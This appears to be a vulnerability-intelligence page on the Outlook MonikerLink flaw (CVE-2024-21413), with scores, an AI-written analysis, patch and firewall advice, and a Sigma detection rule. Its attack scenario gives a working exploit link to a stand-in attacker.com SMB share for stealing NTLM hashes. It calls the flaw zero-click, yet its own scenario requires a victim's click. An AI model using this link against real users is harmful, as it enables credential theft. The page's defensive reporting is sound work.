Microsoft Outlook Moniker Link Remote Code Execution (#MonikerLink)

Critical remote code execution vulnerability in Microsoft Outlook allowing NTLM hash leakage and remote code execution via preview pane click.

EPSS Exploit Probability96.20%

99.3th percentile

Exploit Maturityactive wild

Active Weaponization

Primary VendorsMicrosoft

2 product(s) impacted

Ransomware CampaignNone documented

Threat intel association

CVSS v3.1 Vector Breakdown

Comprehensive attack metric decomposition according to FIRST specification

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

Attack Vector (AV)NETWORKRemotely exploitable over network

Attack Complexity (AC)LOWNo specialized access needed

Privileges Required (PR)NONEUnauthenticated exploitation

User Interaction (UI)NONEZero-click / autonomous

Scope (S)UNCHANGEDSecurity authority boundary

Confidentiality (C)HIGHTotal information disclosure

Integrity (I)HIGHTotal compromise of system state

Availability (A)HIGHComplete resource denial

TechOverwatch AI Security Sentinel Analysis

Model: Gemini 2.0 Flash Security Sentinel · Generated: 2026-10-28

Executive Defense Summary

A severe zero-interaction Outlook vulnerability that leaks enterprise NTLM credentials and executes code via the email preview pane by exploiting file moniker parsing flaws.

Technical Root Cause Architecture

Outlook sanitizes hyperlinks before launching the operating system handler. However, by appending `!x` to an SMB URI (`file:///\\attacker.com\share\doc.rtf!anything`), Outlook interprets the link as a composite moniker, bypassing its URL parsing security checks and invoking `MkParseDisplayName` directly.

Exploitation Scenario & Attack Chain

Attacker sends an email containing an HTML element `<a href="file:///\\attacker.com\share!test">Review Document</a>`. As soon as the victim clicks the link, Outlook reaches out to attacker.com over SMB (port 445), releasing the victim's NetNTLMv2 hash, which the attacker captures using Responder for cracking or relaying.

Enterprise Blast Radius & Lateral Risk

Immediate domain credential theft, NTLM relaying to Active Directory Certificate Services (AD CS), leading to full domain takeover.

Remediation & Defense Playbook

Immediate actionable steps for DevOps, SecOps, and Security Architects

1Deploy the February 2024 Microsoft Office updates across all workstations.

2Block outbound SMB (TCP port 445) at enterprise perimeter firewalls to prevent NTLM leaks to external IP addresses.

3Enable EPA (Extended Protection for Authentication) and restrict NTLM usage across the domain in favor of Kerberos.

Detection Guidance & Threat Hunting

Monitor outbound firewall logs for outbound TCP port 445 traffic from endpoint client subnets to unknown external IP addresses.

Sigma Detection Rule (SIEM Export)

title: Outlook Suspicious Moniker Link Invocation
status: critical
logsource:
  product: windows
  category: process_creation
detection:
  selection:
    ParentImage|endswith: '\OUTLOOK.EXE'
    CommandLine|contains: 'file:///'
  condition: selection

Affected Software & CPE Matrix

Targeted versions, patched releases, and Common Platform Enumerations

Vendor	Product	Affected Versions	Fixed In
Microsoft	Microsoft 365 Apps for Enterprise	Versions prior to February 2024 Patch Tuesday	February 2024 Security Updates (Build 16.0.17231.20236)
Microsoft	Microsoft Office 2016 / 2019 / LTSC 2021	All unsupported/unpatched versions	KB5002564 / KB5002565

Official Advisories & Authoritative Sources

Check Point Research: Moniker Link Discoveryhttps://research.checkpoint.com/2024/the-risks-of-the-monikerlink-bug-in-microsoft-outlook-cve-2024-21413/

advisory

Microsoft Security Update Guidehttps://msrc.microsoft.com/update-guide/vulnerability/CVE-2024-21413

patch

AI Agent & Security Automation Hub

TechOverwatch provides native machine-readable endpoints for autonomous agents, Cursor, Claude, ChatGPT, and automated patch scanners.

Agent CLI Command (curl):

curl -s https://www.techoverwatch.in/api/vulnerabilities/CVE-2024-21413/raw

Raw Markdown JSON API